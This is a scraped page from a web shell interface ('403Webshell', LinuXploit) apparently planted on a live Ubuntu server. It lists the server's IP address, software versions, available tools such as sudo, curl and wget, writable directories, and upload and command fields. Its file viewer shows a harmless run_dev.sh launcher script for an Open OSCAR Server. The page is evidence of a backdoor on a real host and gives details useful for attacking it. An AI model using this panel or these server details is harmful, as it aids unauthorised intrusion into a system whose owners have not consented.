403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/ceagon/open-oscar-server/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/ceagon/open-oscar-server/scripts/run_dev.sh
#!/bin/sh
# This script launches Open OSCAR Server using go run with the environment vars
# defined in config/settings.env under MacOS/Linux. The script can be run from
# any working directory--it assumes the location of config/command files
# relative to the path of this script.
set -e

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
DEFAULT_ENV_FILE="$SCRIPT_DIR/../config/settings.env"

if [ "$#" -gt 1 ]; then
  echo "Usage: $0 [path/to/settings.env]"
  exit 1
fi

if [ "$#" -eq 1 ]; then
  ENV_FILE="$1"
else
  ENV_FILE="$DEFAULT_ENV_FILE"
fi
REPO_ROOT="$SCRIPT_DIR/.."

# Run Open OSCAR Server from repo root.
cd "$REPO_ROOT"
go run -v ./cmd/server -config "$ENV_FILE"

Youez - 2016 - github.com/yon3zu
LinuXploit